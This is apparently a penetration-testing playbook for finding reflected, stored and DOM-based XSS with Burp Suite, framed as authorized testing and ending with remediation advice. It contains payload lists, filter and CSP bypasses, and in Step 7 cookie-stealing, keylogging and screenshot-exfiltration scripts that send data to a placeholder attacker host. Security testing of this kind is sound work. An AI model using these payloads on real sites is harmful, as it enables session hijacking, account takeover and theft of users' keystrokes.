Testing for XSS Vulnerabilities with Burp Suite

When to Use

During authorized web application penetration testing to find reflected, stored, and DOM-based XSS
When validating XSS findings reported by automated vulnerability scanners
For testing the effectiveness of Content Security Policy (CSP) and XSS filters
When assessing client-side security of single-page applications (SPAs)
During bug bounty programs targeting XSS vulnerabilities

Prerequisites

Authorization: Written scope and rules of engagement for the target application
Burp Suite Professional: Licensed version with active scanner capabilities
Browser: Firefox or Chromium with Burp CA certificate installed
FoxyProxy: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)
Target application: Authenticated access with valid test credentials
XSS payloads list: Custom wordlist or Burp's built-in XSS payload set

Workflow

Step 1: Configure Burp Suite and Map the Application

Set up the proxy and crawl the application to discover all input vectors.

# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings

# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map

Step 2: Identify Reflection Points with Burp Repeater

Send requests to Repeater and inject unique canary strings to find where user input is reflected.

# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.

# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">

# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded

Step 3: Test Reflected XSS with Context-Specific Payloads

Based on the reflection context, craft targeted XSS payloads.

# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com

# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com

# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com

# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com

# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com

# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com

Step 4: Test Stored XSS via Burp Intruder

Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.

# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list

# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//

# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored

Step 5: Test DOM-based XSS

Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.

# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")

# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()

# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data

# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>

# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer

Step 6: Bypass XSS Filters and CSP

When basic payloads are blocked, use advanced techniques to bypass protections.

# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>

# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
# Unicode escapes: <script>\u0061lert(1)</script>

# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>

Step 7: Validate Impact and Document Findings

Confirm exploitability and document the full attack chain.

# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>

# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>

# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
  fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>

# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
  fetch('https://attacker-server.example.com/screen',{
    method:'POST',body:canvas.toDataURL()
  });
});
</script>

# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps

Key Concepts

Concept	Description
Reflected XSS	Payload is included in the server response immediately from the current HTTP request
Stored XSS	Payload is persisted on the server (database, file) and served to other users
DOM-based XSS	Payload is processed entirely client-side by JavaScript without server reflection
XSS Sink	A JavaScript function or DOM property that executes or renders untrusted input
XSS Source	A location where attacker-controlled data enters the client-side application
CSP	Content Security Policy header that restricts which scripts can execute on a page
Context-aware encoding	Applying the correct encoding (HTML, JS, URL, CSS) based on output context
Mutation XSS (mXSS)	XSS that exploits browser HTML parser inconsistencies during DOM serialization

Tools & Systems

Tool	Purpose
Burp Suite Professional	Primary testing platform with scanner, intruder, repeater, and DOM Invader
DOM Invader	Burp's built-in browser extension for DOM XSS testing
Hackvertor	Burp BApp for advanced payload encoding and transformation
XSS Hunter	Blind XSS detection platform that captures execution evidence
Dalfox	CLI-based XSS scanner with parameter analysis (`go install github.com/hahwul/dalfox/v2@latest`)
CSP Evaluator	Google tool for analyzing Content Security Policy effectiveness

Common Scenarios

Scenario 1: Search Function Reflected XSS

A search page reflects the query parameter in the results heading without encoding. Inject <script>alert(document.domain)</script> in the search parameter and demonstrate cookie theft via reflected XSS.

Scenario 2: Comment System Stored XSS

A blog comment form sanitizes <script> tags but allows <img> tags. Use <img src=x onerror=alert(document.domain)> to achieve stored XSS that fires for every visitor loading the page.

Scenario 3: SPA with DOM-based XSS

A React/Angular SPA reads window.location.hash and injects it into the DOM via innerHTML. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.

Scenario 4: XSS Behind WAF with Strict CSP

A WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.

Output Format

## XSS Vulnerability Finding

**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments → `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser

### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms

### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set

### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header